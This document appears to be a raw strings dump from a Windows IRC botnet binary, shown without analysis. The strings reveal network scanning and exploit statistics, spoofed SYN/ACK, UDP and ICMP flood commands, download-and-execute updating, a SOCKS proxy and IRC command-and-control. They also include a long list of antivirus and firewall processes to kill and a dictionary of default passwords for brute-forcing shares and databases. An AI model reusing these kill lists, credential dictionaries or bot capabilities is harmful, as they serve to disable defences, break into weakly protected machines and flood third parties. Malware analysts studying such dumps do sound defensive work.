" Total: %d in %s."
" %s: %d,"
"[SCAN]: Exploit Statistics:"
"[SCAN]: Scan not active."
"[SCAN]: Current IP: %s."
"[HTTPD]: Failed to start server, error: <%d>."
"[HTTPD]: Server listening on IP: %s:%d, Directory: %s\."
"[FTP]: Failed to start server, error: <%d>."
"[FTP]: Server started on: %s:%d, File: %s, Request: %s."
"[TFTP]: Failed to start server, error: <%d>."
"[TFTP]: Server started on Port: %d, File: %s, Request: %s."
"%d.%d.%d.%d"
"[SCAN]: IP: %s, Port %d is open."
"[SCAN]: IP: %s:%d, Scan thread: %d, Sub-thread: %d."
"[SCAN]: Finished at %s:%d after %d minute(s) of scanning."
"[SCAN]: Failed to start worker thread, error: <%d>."
"[SCAN]: %s:%d, Scan thread: %d, Sub-thread: %d."
"[SCAN]: Failed to initialize critical section."
"%d. %s = %s"
"-[Alias List]-"
"[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
"[LOGS]: Cleared."
"[LOG]: List complete."
"[LOG]: Begin"
"[DOWNLOAD]: Bad URL, or DNS Error: %s."
"[DOWNLOAD]: Update failed: Error executing file: %s."
"[DOWNLOAD]: Downloaded %.1fKB to %s @ %.1fKB/sec. Updating."
"[DOWNLOAD]: Execution failed: Error executing file: %s."
"[DOWNLOAD]: Application succesfully executed: %s."
"[DOWNLOAD]: Openning: %s %s."
"[DOWNLOAD]: Downloaded %.1f KB to %s @ %.1f KB/sec."
"[DOWNLOAD]: Filesize is incorrect: (%d != %d)."
"[DOWNLOAD]: Update: %s (%dKB transferred)."
"[DOWNLOAD]: File download: %s (%dKB transferred)."
"[DOWNLOAD]: Couldn"
"Invalid"
"Disk"
"Network"
"Cdrom"
"RAM"
"failed"
"%sKB"
"[MAIN]: %s Drive (%s): %s total, %s free, %s available."
"[MAIN]: %s Drive (%s): Failed to stat, device not ready."
"A:\"
"221 Goodbye."
"QUIT"
"425 Can"
"[FTP]: File transfer complete to IP: %s (%s)."
"226 Transfer complete."
"150 Opening BINARY mode data connection"
"RETR"
"200 PORT command successful."
"%s.%s.%s.%s"
"%x%x"
"%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^"
"PORT"
"226 Transfer complete"
"LIST"
"425 Passive not supported on this server"
"PASV"
"200 Type set to I."
"200 Type set to A."
"TYPE"
"257 "/" is current directory."
"350 Restarting."
"REST"
"215 StnyFtpd"
"SYST"
"230 User logged in."
"PASS"
"331 Password required"
"USER"
"%s %s"
"220 WinFtpd 1.2"
"Found: %i Files and %i Directories"
""
"PRIVMSG %s :Found %s Files and %s Directories"
"%-31s %-21s (%i bytes)"
""
"">%s"
"">%.30s>"
"%s%s"
"PRIVMSG %s :%-31s %-21s (%s bytes)"
"%-31s %-21s"
""
"">%s/"
"">%.29s>/"
"%s%s/"
"
"
"PRIVMSG %s :%-31s %-21s"
"<%s>"
"%2.2d/%2.2d/%4d %2.2d:%2.2d %s"
"AM"
"PM"
".."
"
"
"Searching for: %s"
"
"
"
"
"Index of %s
"
""
"PRIVMSG %s :Searching for: %s"
"%s %s HTTP/1.1"
"HTTP/1.0 200 OK"
"HTTP/1.0 200 OK"
"HH:mm:ss"
"ddd, dd MMM yyyy"
"application/octet-stream"
"text/html"
"[HTTPD]: Failed to start worker thread, error: <%d>."
"[HTTPD]: Worker thread of server thread: %d."
"%s"
"\%s"
"[HTTPD]: Error: server failed, returned: <%d>."
""
"GET "
"[ICMP]: Error sending packets to IP: %s. Packets sent: %d. Return"
"[ICMP]: Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/s"
"[ICMP]: Invalid target IP."
"[ICMP]: Error: setsockopt() failed, returned: <%d>."
"[ICMP]: Error: socket() failed, returned: <%d>."
"%s %s :%s"
"PRIVMSG"
"NOTICE"
"SQLDisconnect"
"SQLFreeHandle"
"SQLAllocHandle"
"SQLExecDirect"
"SQLSetEnvAttr"
"SQLDriverConnect"
"odbc32.dll"
"SHChangeNotify"
"ShellExecuteA"
"shell32.dll"
"WNetCancelConnection2W"
"WNetCancelConnection2A"
"WNetAddConnection2W"
"WNetAddConnection2A"
"mpr.dll"
"DeleteIpNetEntry"
"GetIpNetTable"
"iphlpapi.dll"
"DnsFlushResolverCacheEntry_A"
"DnsFlushResolverCache"
"dnsapi.dll"
"NetMessageBufferSend"
"NetUserGetInfo"
"NetUserEnum"
"NetUserDel"
"NetUserAdd"
"NetRemoteTOD"
"NetApiBufferFree"
"NetScheduleJobAdd"
"NetShareEnum"
"NetShareDel"
"NetShareAdd"
"netapi32.dll"
"IcmpSendEcho"
"IcmpCloseHandle"
"IcmpCreateFile"
"icmp.dll"
"Mozilla/4.0 (compatible)"
"InternetCloseHandle"
"InternetReadFile"
"InternetCrackUrlA"
"InternetOpenUrlA"
"InternetOpenA"
"InternetConnectA"
"HttpSendRequestA"
"HttpOpenRequestA"
"InternetGetConnectedStateEx"
"InternetGetConnectedState"
"wininet.dll"
"closesocket"
"getpeername"
"gethostbyaddr"
"gethostbyname"
"gethostname"
"getsockname"
"setsockopt"
"accept"
"listen"
"select"
"bind"
"recvfrom"
"recv"
"sendto"
"send"
"ntohl"
"ntohs"
"htonl"
"htons"
"inet_addr"
"inet_ntoa"
"connect"
"ioctlsocket"
"socket"
"WSACleanup"
"WSAGetLastError"
"WSAIoctl"
"__WSAFDIsSet"
"WSAAsyncSelect"
"WSASocketA"
"WSAStartup"
"ws2_32.dll"
"DeleteObject"
"DeleteDC"
"BitBlt"
"SelectObject"
"GetDIBColorTable"
"GetDeviceCaps"
"CreateCompatibleDC"
"CreateDIBSection"
"CreateDCA"
"gdi32.dll"
"GetUserNameA"
"IsValidSecurityDescriptor"
"EnumServicesStatusA"
"CloseServiceHandle"
"DeleteService"
"ControlService"
"StartServiceA"
"OpenServiceA"
"OpenSCManagerA"
"AdjustTokenPrivileges"
"LookupPrivilegeValueA"
"OpenProcessToken"
"RegCloseKey"
"RegDeleteValueA"
"RegQueryValueExA"
"RegSetValueExA"
"RegCreateKeyExA"
"RegOpenKeyExA"
"advapi32.dll"
"ExitWindowsEx"
"CloseClipboard"
"GetClipboardData"
"OpenClipboard"
"DestroyWindow"
"IsWindow"
"FindWindowA"
"SendMessageA"
"user32.dll"
"RegisterServiceProcess"
"QueryPerformanceFrequency"
"QueryPerformanceCounter"
"SearchPathA"
"GetDriveTypeA"
"GetLogicalDriveStringsA"
"GetDiskFreeSpaceExA"
"Module32First"
"Process32Next"
"Process32First"
"CreateToolhelp32Snapshot"
"SetErrorMode"
"kernel32.dll"
"[MAIN]: DLL test complete."
"Odbc32.dll failed. <%d>"
"Shell32.dll failed. <%d>"
"Mpr32.dll failed. <%d>"
"Iphlpapi.dll failed. <%d>"
"Dnsapi.dll failed. <%d>"
"Netapi32.dll failed. <%d>"
"Icmp.dll failed. <%d>"
"Wininet.dll failed. <%d>"
"Ws2_32.dll failed. <%d>"
"Gdi32.dll failed. <%d>"
"Advapi32.dll failed. <%d>"
"User32.dll failed. <%d>"
"Kernel32.dll failed. <%d>"
"%s Error: %s <%d>."
"mIRC"
"explorer.exe"
"SeShutdownPrivilege"
"%%comspec%% /c %s %s"
"@echo off"
"%sdel.bat"
"Continued"
"Continue"
"Paused"
"Pause"
"Stopped"
"Stop"
"Started"
"Start"
"Listed"
"List"
"Deleted"
"Delete"
"Added"
"Add"
"An unknown error occurred: <%ld>"
"The system is shutting down."
"The service has not been started."
"The requested control code cannot be sent to the service because "
"The service has been marked for deletion."
"The service could not be logged on. The account does not have the"
"The specified service does not exist."
"The service has been disabled."
"The service depends on another service that has failed to start."
"The service depends on a service that does not exist or has been "
"The specified database does not exist."
"An instance of the service is already running."
"The requested control code is not valid, or it is unacceptable to"
"The process for the service was started, but it did not call Star"
"A thread could not be created for the service."
"The database is locked."
"The service cannot be stopped because other running services are "
"The service binary file could not be found."
"The handle does not have the required access right."
"The handle is invalid."
"The requested control code is undefined."
"The specified service name is invalid."
"%s: %s (%s)"
" Stopped"
" Starting"
" Stoping"
" Running"
" Continuing"
" Pausing"
" Paused"
" Unknown"
"The following Windows services are registered:"
"[NET]: User info error: <%ld>"
"Units Per Week: %d"
"Max. Storage: %d"
"User"
"Workstations: %S"
"Logon Server: %S"
"Last Logoff: %d"
"Last Logon: %d"
"Number of Logins: %d"
"Bad Password Count: %d"
"Password Age: %d"
"Parameters: %S"
"Home Directory: %S"
"Auth Flags: %d"
"Privilege Level: %s"
"Guest"
"User"
"Administrator"
"Comment: %S"
"User Comment: %S"
"Full Name: %S"
"Account: %S"
"Network connection not found."
"The user name could not be found."
"Share not found."
"The computer name is invalid."
"An unknown error occurred."
"The password is shorter than required (or does not meet the passw"
"The group already exists."
"The user account already exists."
"The operation is allowed only on the primary domain controller of"
"A general failure occurred in the network hardware."
"Level parameter is invalid."
"Device or directory does not exist."
"Invalid for redirected resource."
"Duplicate share name."
"The name is invalid."
"Access denied."
"Not enough memory."
"This network request is not supported."
"Server name not found."
"Invalid parameter."
"[NET]: %s "
"[NET]: Message sent successfully."
"[NET]: %s: No service specified."
"[NET]: Error with service: "
"[NET]: %s service: "
"[NET]: %s: No share specified."
"[NET]: %s share: "
"[NET]: %s: Error with share: "
"%-14S %-24S %-6u %-4s"
"No"
"Yes"
"[NET]: Share list error: %s <%ld>"
"Share name: Resource: Uses: Desc:"
"[NET]: %s: No username specified."
"[NET]: %s: Error with username: "
"[NET]: %s username: "
"Total users found: %d."
"[NET]: An access violation has occured."
" %S"
"[NET]: User list error: %s <%ld>"
"Username accounts for local system:"
"[FLUSHDNS]: Not supported by this system."
"[FLUSHDNS]: Unable to allocation ARP cache."
"[FLUSHDNS]: ARP cache is empty."
"[FLUSHDNS]: Error getting ARP cache: <%d>."
"[PING]: Finished sending pings to %s."
"[PING]: Error sending pings to %s."
"[UDP]: Finished sending packets to %s."
"[UDP]: Error sending pings to %s."
"hass.exe"
"winmp.exe"
"bling.exe"
"wuamgrd.exe"
"scguard.exe"
"winssv.exe"
"WRUACLT.EXE"
"WUACRLT.EXE"
"WUANCLT.EXE"
"MsConfiG.exe"
"i11r54n4.exe"
"irun4.exe"
"d3dupdate.exe"
"rate.exe"
"ssate.exe"
"winsys.exe"
"winupd.exe"
"SysMonXP.exe"
"bbeagle.exe"
"Penis32.exe"
"mscvb32.exe"
"sysinfo.exe"
"PandaAVEngine.exe"
"F-AGOBOT.EXE"
"HIJACKTHIS.EXE"
"_AVPM.EXE"
"_AVPCC.EXE"
"_AVP32.EXE"
"ZONEALARM.EXE"
"ZONALM2601.EXE"
"ZATUTOR.EXE"
"ZAPSETUP3001.EXE"
"ZAPRO.EXE"
"XPF202EN.EXE"
"WYVERNWORKSFIREWALL.EXE"
"WUPDT.EXE"
"WUPDATER.EXE"
"WSBGATE.EXE"
"WRCTRL.EXE"
"WRADMIN.EXE"
"WNT.EXE"
"WNAD.EXE"
"WKUFIND.EXE"
"WINUPDATE.EXE"
"WINTSK32.EXE"
"WINSTART001.EXE"
"WINSTART.EXE"
"WINSSK32.EXE"
"WINSERVN.EXE"
"WINRECON.EXE"
"WINPPR32.EXE"
"WINNET.EXE"
"WINMAIN.EXE"
"WINLOGIN.EXE"
"WININITX.EXE"
"WININIT.EXE"
"WININETD.EXE"
"WINDOWS.EXE"
"WINDOW.EXE"
"WINACTIVE.EXE"
"WIN32US.EXE"
"WIN32.EXE"
"WIN-BUGSFIX.EXE"
"WIMMUN32.EXE"
"WHOSWATCHINGME.EXE"
"WGFE95.EXE"
"WFINDV32.EXE"
"WEBTRAP.EXE"
"WEBSCANX.EXE"
"WEBDAV.EXE"
"WATCHDOG.EXE"
"W9X.EXE"
"W32DSM89.EXE"
"VSWINPERSE.EXE"
"VSWINNTSE.EXE"
"VSWIN9XE.EXE"
"VSSTAT.EXE"
"VSMON.EXE"
"VSMAIN.EXE"
"VSISETUP.EXE"
"VSHWIN32.EXE"
"VSECOMR.EXE"
"VSCHED.EXE"
"VSCENU6.02D30.EXE"
"VSCAN40.EXE"
"VPTRAY.EXE"
"VPFW30S.EXE"
"VPC42.EXE"
"VPC32.EXE"
"VNPC3000.EXE"
"VNLAN300.EXE"
"VIRUSMDPERSONALFIREWALL.EXE"
"VIR-HELP.EXE"
"VFSETUP.EXE"
"VETTRAY.EXE"
"VET95.EXE"
"VET32.EXE"
"VCSETUP.EXE"
"VBWINNTW.EXE"
"VBWIN9X.EXE"
"VBUST.EXE"
"VBCONS.EXE"
"VBCMSERV.EXE"
"UTPOST.EXE"
"UPGRAD.EXE"
"UPDATE.EXE"
"UPDAT.EXE"
"UNDOBOOT.EXE"
"TVTMD.EXE"
"TVMD.EXE"
"TSADBOT.EXE"
"TROJANTRAP3.EXE"
"TRJSETUP.EXE"
"TRJSCAN.EXE"
"TRICKLER.EXE"
"TRACERT.EXE"
"TITANINXP.EXE"
"TITANIN.EXE"
"TGBOB.EXE"
"TFAK5.EXE"
"TFAK.EXE"
"TEEKIDS.EXE"
"TDS2-NT.EXE"
"TDS2-98.EXE"
"TDS-3.EXE"
"TCM.EXE"
"TCA.EXE"
"TC.EXE"
"TBSCAN.EXE"
"TAUMON.EXE"
"TASKMON.EXE"
"TASKMO.EXE"
"TASKMG.EXE"
"SYSUPD.EXE"
"SYSTEM32.EXE"
"SYSTEM.EXE"
"SYSEDIT.EXE"
"SYMTRAY.EXE"
"SYMPROXYSVC.EXE"
"SWEEPNET.SWEEPSRV.SYS.SWNETSUP.EXE"
"SWEEP95.EXE"
"UPD32.EXE"
"SVSHOST32.EXE"
"SVSHOST.EXE"
"SVCHOSTS.EXE"
"SVCHOSTC.EXE"
"SVC.EXE"
"SUPPORTER5.EXE"
"SUPPORT.EXE"
"SUPFTRL.EXE"
"STCLOADER.EXE"
"START.EXE"
"ST2.EXE"
"SSG_4104.EXE"
"SSGRATE.EXE"
"SS3EDIT.EXE"
"SRNG.EXE"
"SREXE.EXE"
"SPYXX.EXE"
"SPOOLSV32.EXE"
"SPOOLCV.EXE"
"SPOLER.EXE"
"SPHINX.EXE"
"SPF.EXE"
"SPERM.EXE"
"SOFI.EXE"
"SOAP.EXE"
"SMSS32.EXE"
"SMS.EXE"
"SMC.EXE"
"SHOWBEHIND.EXE"
"SHN.EXE"
"SHELLSPYINSTALL.EXE"
"SH.EXE"
"SGSSFW32.EXE"
"SFC.EXE"
"SETUP_FLOWPROTECTOR_US.EXE"
"SETUPVAMEEVAL.EXE"
"SERVLCES.EXE"
"SERVLCE.EXE"
"SERVICE.EXE"
"SERV95.EXE"
"SD.EXE"
"SCVHOST.EXE"
"SCRSVR.EXE"
"SCRSCAN.EXE"
"SCANPM.EXE"
"SCAN95.EXE"
"SCAN32.EXE"
"SCAM32.EXE"
"SC.EXE"
"SBSERV.EXE"
"SAVENOW.EXE"
"SAVE.EXE"
"SAHAGENT.EXE"
"SAFEWEB.EXE"
"RUXDLL32.EXE"
"RUNDLL16.EXE"
"RUNDLL.EXE"
"RUN32DLL.EXE"
"RULAUNCH.EXE"
"RTVSCN95.EXE"
"RTVSCAN.EXE"
"RSHELL.EXE"
"RRGUARD.EXE"
"RESCUE32.EXE"
"RESCUE.EXE"
"REGEDT32.EXE"
"REGEDIT.EXE"
"REGED.EXE"
"REALMON.EXE"
"RCSYNC.EXE"
"RB32.EXE"
"RAY.EXE"
"RAV8WIN32ENG.EXE"
"RAV7WIN.EXE"
"RAV7.EXE"
"RAPAPP.EXE"
"QSERVER.EXE"
"QCONSOLE.EXE"
"PVIEW95.EXE"
"PUSSY.EXE"
"PURGE.EXE"
"PSPF.EXE"
"PROTECTX.EXE"
"PROPORT.EXE"
"PROGRAMAUDITOR.EXE"
"PROCEXPLORERV1.0.EXE"
"PROCESSMONITOR.EXE"
"PROCDUMP.EXE"
"PRMVR.EXE"
"PRMT.EXE"
"PRIZESURFER.EXE"
"PPVSTOP.EXE"
"PPTBC.EXE"
"PPINUPDT.EXE"
"POWERSCAN.EXE"
"PORTMONITOR.EXE"
"PORTDETECTIVE.EXE"
"POPSCAN.EXE"
"POPROXY.EXE"
"POP3TRAP.EXE"
"PLATIN.EXE"
"PINGSCAN.EXE"
"PGMONITR.EXE"
"PFWADMIN.EXE"
"PF2.EXE"
"PERSWF.EXE"
"PERSFW.EXE"
"PERISCOPE.EXE"
"PENIS.EXE"
"PDSETUP.EXE"
"PCSCAN.EXE"
"PCIP10117_0.EXE"
"PCFWALLICON.EXE"
"PCDSETUP.EXE"
"PCCWIN98.EXE"
"PCCWIN97.EXE"
"PCCNTMON.EXE"
"PCCIOMON.EXE"
"PCC2K_76_1436.EXE"
"PCC2002S902.EXE"
"PAVW.EXE"
"PAVSCHED.EXE"
"PAVPROXY.EXE"
"PAVCL.EXE"
"PATCH.EXE"
"PANIXK.EXE"
"PADMIN.EXE"
"OUTPOSTPROINSTALL.EXE"
"OUTPOSTINSTALL.EXE"
"OUTPOST.EXE"
"OTFIX.EXE"
"OSTRONET.EXE"
"OPTIMIZE.EXE"
"ONSRVR.EXE"
"OLLYDBG.EXE"
"NWTOOL16.EXE"
"NWSERVICE.EXE"
"NWINST4.EXE"
"NVSVC32.EXE"
"NVC95.EXE"
"NVARCH16.EXE"
"NUPGRADE.EXE"
"NUI.EXE"
"NTXconfig.EXE"
"NTVDM.EXE"
"NTRTSCAN.EXE"
"NT.EXE"
"NSUPDATE.EXE"
"NSTASK32.EXE"
"NSSYS32.EXE"
"NSCHED32.EXE"
"NPSSVC.EXE"
"NPSCHECK.EXE"
"NPROTECT.EXE"
"NPFMESSENGER.EXE"
"NPF40_TW_98_NT_ME_2K.EXE"
"NOTSTART.EXE"
"NORTON_INTERNET_SECU_3.0_407.EXE"
"NORMIST.EXE"
"NOD32.EXE"
"NMAIN.EXE"
"NISUM.EXE"
"NISSERV.EXE"
"NETUTILS.EXE"
"NETSTAT.EXE"
"NETSPYHUNTER-1.2.EXE"
"NETSCANPRO.EXE"
"NETMON.EXE"
"NETINFO.EXE"
"NETD32.EXE"
"NETARMOR.EXE"
"NEOWATCHLOG.EXE"
"NEOMONITOR.EXE"
"NDD32.EXE"
"NCINST4.EXE"
"NC2000.EXE"
"NAVWNT.EXE"
"NAVW32.EXE"
"NAVSTUB.EXE"
"NAVNT.EXE"
"NAVLU32.EXE"
"NAVENGNAVEX15.NAVLU32.EXE"
"NAVDX.EXE"
"NAVAPW32.EXE"
"NAVAPSVC.EXE"
"NAVAP.NAVAPSVC.EXE"
"AUTO-PROTECT.NAV80TRY.EXE"
"NAV.EXE"
"N32SCANW.EXE"
"MWATCH.EXE"
"MU0311AD.EXE"
"MSVXD.EXE"
"MSSYS.EXE"
"MSSMMC32.EXE"
"MSMSGRI32.EXE"
"MSMGT.EXE"
"MSLAUGH.EXE"
"MSINFO32.EXE"
"MSIEXEC16.EXE"
"MSDOS.EXE"
"MSDM.EXE"
"MSCONFIG.EXE"
"MSCMAN.EXE"
"MSCCN32.EXE"
"MSCACHE.EXE"
"MSBLAST.EXE"
"MSBB.EXE"
"MSAPP.EXE"
"MRFLUX.EXE"
"MPFTRAY.EXE"
"MPFSERVICE.EXE"
"MPFAGENT.EXE"
"MOSTAT.EXE"
"MOOLIVE.EXE"
"MONITOR.EXE"
"MMOD.EXE"
"MINILOG.EXE"
"MGUI.EXE"
"MGHTML.EXE"
"MGAVRTE.EXE"
"MGAVRTCL.EXE"
"MFWENG3.02D30.EXE"
"MFW2EN.EXE"
"MFIN32.EXE"
"MD.EXE"
"MCVSSHLD.EXE"
"MCVSRTE.EXE"
"MCUPDATE.EXE"
"MCTOOL.EXE"
"MCSHIELD.EXE"
"MCMNHDLR.EXE"
"MCAGENT.EXE"
"MAPISVC32.EXE"
"LUSPT.EXE"
"LUINIT.EXE"
"LUCOMSERVER.EXE"
"LUAU.EXE"
"LUALL.EXE"
"LSETUP.EXE"
"LORDPE.EXE"
"LOOKOUT.EXE"
"LOCKDOWN2000.EXE"
"LOCKDOWN.EXE"
"LOCALNET.EXE"
"LOADER.EXE"
"LNETINFO.EXE"
"LDSCAN.EXE"
"LDPROMENU.EXE"
"LDPRO.EXE"
"LDNETMON.EXE"
"LAUNCHER.EXE"
"KILLPROCESSSETUP161.EXE"
"KERNEL32.EXE"
"KERIO-WRP-421-EN-WIN.EXE"
"KERIO-WRL-421-EN-WIN.EXE"
"KERIO-PF-213-EN-WIN.EXE"
"KEENVALUE.EXE"
"KAZZA.EXE"
"KAVPF.EXE"
"KAVPERS40ENG.EXE"
"KAVLITE40ENG.EXE"
"JEDI.EXE"
"JDBGMRG.EXE"
"JAMMER.EXE"
"ISTSVC.EXE"
"ISRV95.EXE"
"ISASS.EXE"
"IRIS.EXE"
"IPARMOR.EXE"
"IOMON98.EXE"
"INTREN.EXE"
"INTDEL.EXE"
"INIT.EXE"
"INFWIN.EXE"
"INFUS.EXE"
"INETLNFO.EXE"
"IFW2000.EXE"
"IFACE.EXE"
"IEXPLORER.EXE"
"IEDRIVER.EXE"
"IEDLL.EXE"
"IDLE.EXE"
"ICSUPPNT.EXE"
"ICSUPP95.EXE"
"ICMON.EXE"
"ICLOADNT.EXE"
"ICLOAD95.EXE"
"IBMAVSP.EXE"
"IBMASN.EXE"
"IAMSTATS.EXE"
"IAMSERV.EXE"
"IAMAPP.EXE"
"HXIUL.EXE"
"HXDL.EXE"
"HWPE.EXE"
"HTPATCH.EXE"
"HTLOG.EXE"
"HOTPATCH.EXE"
"HOTACTIO.EXE"
"HBSRV.EXE"
"HBINST.EXE"
"HACKTRACERSETUP.EXE"
"GUARDDOG.EXE"
"GUARD.EXE"
"GMT.EXE"
"GENERICS.EXE"
"GBPOLL.EXE"
"GBMENU.EXE"
"GATOR.EXE"
"FSMB32.EXE"
"FSMA32.EXE"
"FSM32.EXE"
"FSGK32.EXE"
"FSAV95.EXE"
"FSAV530WTBYB.EXE"
"FSAV530STBYB.EXE"
"FSAV32.EXE"
"FSAV.EXE"
"FSAA.EXE"
"FRW.EXE"
"FPROT.EXE"
"FP-WIN_TRIAL.EXE"
"FP-WIN.EXE"
"FNRB32.EXE"
"FLOWPROTECTOR.EXE"
"FIREWALL.EXE"
"FINDVIRU.EXE"
"FIH32.EXE"
"FCH32.EXE"
"FAST.EXE"
"FAMEH32.EXE"
"F-STOPW.EXE"
"F-PROT95.EXE"
"F-PROT.EXE"
"F-AGNT95.EXE"
"EXPLORE.EXE"
"EXPERT.EXE"
"EXE.AVXW.EXE"
"EXANTIVIRUS-CNET.EXE"
"EVPN.EXE"
"ETRUSTCIPE.EXE"
"ETHEREAL.EXE"
"ESPWATCH.EXE"
"ESCANV95.EXE"
"ESCANHNT.EXE"
"ESCANH95.EXE"
"ESAFE.EXE"
"ENT.EXE"
"EMSW.EXE"
"EFPEADM.EXE"
"ECENGINE.EXE"
"DVP95_0.EXE"
"DVP95.EXE"
"DSSAGENT.EXE"
"DRWEBUPW.EXE"
"DRWEB32.EXE"
"DRWATSON.EXE"
"DPPS2.EXE"
"DPFSETUP.EXE"
"DPF.EXE"
"DOORS.EXE"
"DLLREG.EXE"
"DLLCACHE.EXE"
"DIVX.EXE"
"DEPUTY.EXE"
"DEFWATCH.EXE"
"DEFSCANGUI.EXE"
"DEFALERT.EXE"
"DCOMX.EXE"
"DATEMANAGER.EXE"
"Claw95.EXE"
"CWNTDWMO.EXE"
"CWNB181.EXE"
"CV.EXE"
"CTRL.EXE"
"CPFNT206.EXE"
"CPF9X206.EXE"
"CPD.EXE"
"CONNECTIONMONITOR.EXE"
"CMON016.EXE"
"CMGRDIAN.EXE"
"CMESYS.EXE"
"CMD32.EXE"
"CLICK.EXE"
"CLEANPC.EXE"
"CLEANER3.EXE"
"CLEANER.EXE"
"CLEAN.EXE"
"CLAW95CF.EXE"
"CFINET32.EXE"
"CFINET.EXE"
"CFIAUDIT.EXE"
"CFIADMIN.EXE"
"CFGWIZ.EXE"
"CFD.EXE"
"CDP.EXE"
"CCPXYSVC.EXE"
"CCEVTMGR.EXE"
"CCAPP.EXE"
"BVT.EXE"
"BUNDLE.EXE"
"BS120.EXE"
"BRASIL.EXE"
"BPC.EXE"
"BORG2.EXE"
"BOOTWARN.EXE"
"BOOTCONF.EXE"
"BLSS.EXE"
"BLACKICE.EXE"
"BLACKD.EXE"
"BISP.EXE"
"BIPCPEVALSETUP.EXE"
"BIPCP.EXE"
"BIDSERVER.EXE"
"BIDEF.EXE"
"BELT.EXE"
"BEAGLE.EXE"
"BD_PROFESSIONAL.EXE"
"BARGAINS.EXE"
"BACKWEB.EXE"
"AVXQUAR.EXE"
"AVXMONITORNT.EXE"
"AVXMONITOR9X.EXE"
"AVWUPSRV.EXE"
"AVWUPD32.EXE"
"AVWUPD.EXE"
"AVWINNT.EXE"
"AVWIN95.EXE"
"AVSYNMGR.EXE"
"AVSCHED32.EXE"
"AVPUPD.EXE"
"AVPTC32.EXE"
"AVPM.EXE"
"AVPDOS32.EXE"
"AVPCC.EXE"
"AVP32.EXE"
"AVP.EXE"
"AVNT.EXE"
"AVLTMAIN.EXE"
"AVKWCTl9.EXE"
"AVKSERVICE.EXE"
"AVKSERV.EXE"
"AVKPOP.EXE"
"AVGW.EXE"
"AVGUARD.EXE"
"AVGSERV9.EXE"
"AVGSERV.EXE"
"AVGNT.EXE"
"AVGCTRL.EXE"
"AVGCC32.EXE"
"AVE32.EXE"
"AVCONSOL.EXE"
"AUTOUPDATE.EXE"
"AUTOTRACE.EXE"
"AUTODOWN.EXE"
"AUPDATE.EXE"
"AU.EXE"
"ATWATCH.EXE"
"ATUPDATER.EXE"
"ATRO55EN.EXE"
"ATGUARD.EXE"
"ATCON.EXE"
"ARR.EXE"
"APVXDWIN.EXE"
"APLICA32.EXE"
"APIMONITOR.EXE"
"ANTS.EXE"
"ANTIVIRUS.EXE"
"ANTI-TROJAN.EXE"
"AMON9X.EXE"
"ALOGSERV.EXE"
"ALEVIR.EXE"
"ALERTSVC.EXE"
"AGENTW.EXE"
"AGENTSVR.EXE"
"ADVXDWIN.EXE"
"ADAWARE.EXE"
"ACKWIN32.EXE"
"Cannot extract process path for %s"
"[FILE]: Deleted "
"Could not delete "
" %s (%d)"
"SeDebugPrivilege"
"[PROC]: Process list failed."
"[PROC]: Process list completed."
"[PROC]: Listing processes:"
"intranet"
"lan"
"main"
"winpass"
"blank"
"office"
"control"
"xp"
"nokia"
"hp"
"siemens"
"compaq"
"dell"
"cisco"
"ibm"
"orainstall"
"sqlpassoainstall"
"sql"
"sa"
"db1234"
"db1"
"databasepassword"
"data"
"databasepass"
"dbpassword"
"dbpass"
"access"
"domainpassword"
"domainpass"
"domain"
"hello"
"hell"
"god"
"sex"
"slut"
"bitch"
"fuck"
"exchange"
"backup"
"technical"
"loginpass"
"login"
"mary"
"katie"
"kate"
"george"
"eric"
"chris"
"ian"
"neil"
"lee"
"brian"
"susan"
"sue"
"sam"
"luke"
"peter"
"john"
"mike"
"bill"
"fred"
"joe"
"jen"
"bob"
"qwe"
"zxc"
"asd"
"qaz"
"win2000"
"winnt"
"winxp"
"win2k"
"win98"
"windows"
"oeminstall"
"oemuser"
"oem"
"user"
"homeuser"
"home"
"accounting"
"accounts"
"internet"
"www"
"web"
"outlook"
"mail"
"qwerty"
"null"
"server"
"system"
"changeme"
"linux"
"unix"
"demo"
"none"
"test"
"2004"
"2003"
"2002"
"2001"
"2000"
"1234567890"
"123456789"
"12345678"
"1234567"
"123456"
"12345"
"1234"
"123"
"12"
"007"
"pwd"
"pass"
"pass1234"
"passwd"
"password"
"password1"
"adm"
"db2"
"oracle"
"dba"
"database"
"default"
"guest"
"wwwadmin"
"teacher"
"student"
"owner"
"computer"
"root"
"staff"
"admin"
"admins"
"administrat"
"administrateur"
"administrador"
"administrator"
"mIRC v6.12 Khaled Mardam-Bey"
"*@celestial.org"
" :"
"NICK %s"
"PASS %s"
"[MAIN]: Connected to %s."
"MODE %s %s"
"USERHOST %s"
"[MAIN]: User: %s logged in."
"[MAIN]: Password accepted."
"[MAIN]: *Failed host auth by: (%s!%s)."
"NOTICE %s :Host Auth failed (%s!%s)."
"[MAIN]: *Failed pass auth by: (%s!%s)."
"NOTICE %s :Your attempt has been logged."
"NOTICE %s :Pass auth failed (%s!%s)."
"[SCAN]: Failed to start scan, no IP specified."
"Stopping previous scans"
"[UDP]: Failed to start flood thread, error: <%d>."
"[UDP]: Sending %d packets to: %s. Packet size: %d, Delay: %d(ms)."
"ICMP.dll not available"
"[PING]: Failed to start flood thread, error: <%d>."
"[PING]: Sending %d pings to %s. packet size: %d, timeout: %d(ms)."
"[TCP]: Invalid flood time must be greater than 0."
"[TCP]: Failed to start flood thread, error: <%d>."
"[TCP]: %s %s flooding: (%s:%s) for %s seconds."
"Normal"
"Spoofed"
"[TCP]: Invalid flood type specified."
"random"
"ack"
"syn"
"[FTP]: Uploading file: %s to: %s failed."
"[FTP]: Uploading file: %s to: %s"
"ftp.exe"
"-s:%s"
"open %s"
"ab"
"%s\%i%i%i.dll"
"[FTP]: File not found: %s."
"upload"
"hcon"
"httpcon"
"[MAIN]: Invalid login slot number: %d."
"[MAIN]: No user logged in at slot: %d."
"[MAIN]: %s"
"[SECURE]: Failed to start secure thread, error: <%d>."
"[SECURE]: %s system."
"Unsecuring"
"Securing"
"[SOCKS4]: Failed to start server thread, error: <%d>."
"[SOCKS4]: Server started on: %s:%d."
"[PROC]"
"Process list"
"[MAIN]: Reconnecting."
"QUIT :reconnecting"
"[MAIN]: Disconnecting."
"QUIT :disconnecting"
"QUIT :%s"
"[MAIN]: Status: Ready. Bot Uptime: %s."
"[MAIN]: Bot ID: %s."
"[THREADS]: Failed to start list thread, error: <%d>."
"[THREADS]: List threads."
"sub"
"[MAIN]: Alias list."
"[LOG]: Failed to start listing thread, error: <%d>."
"[LOG]: Listing log."
"[MAIN]: Network Info."
"[MAIN]: System Info."
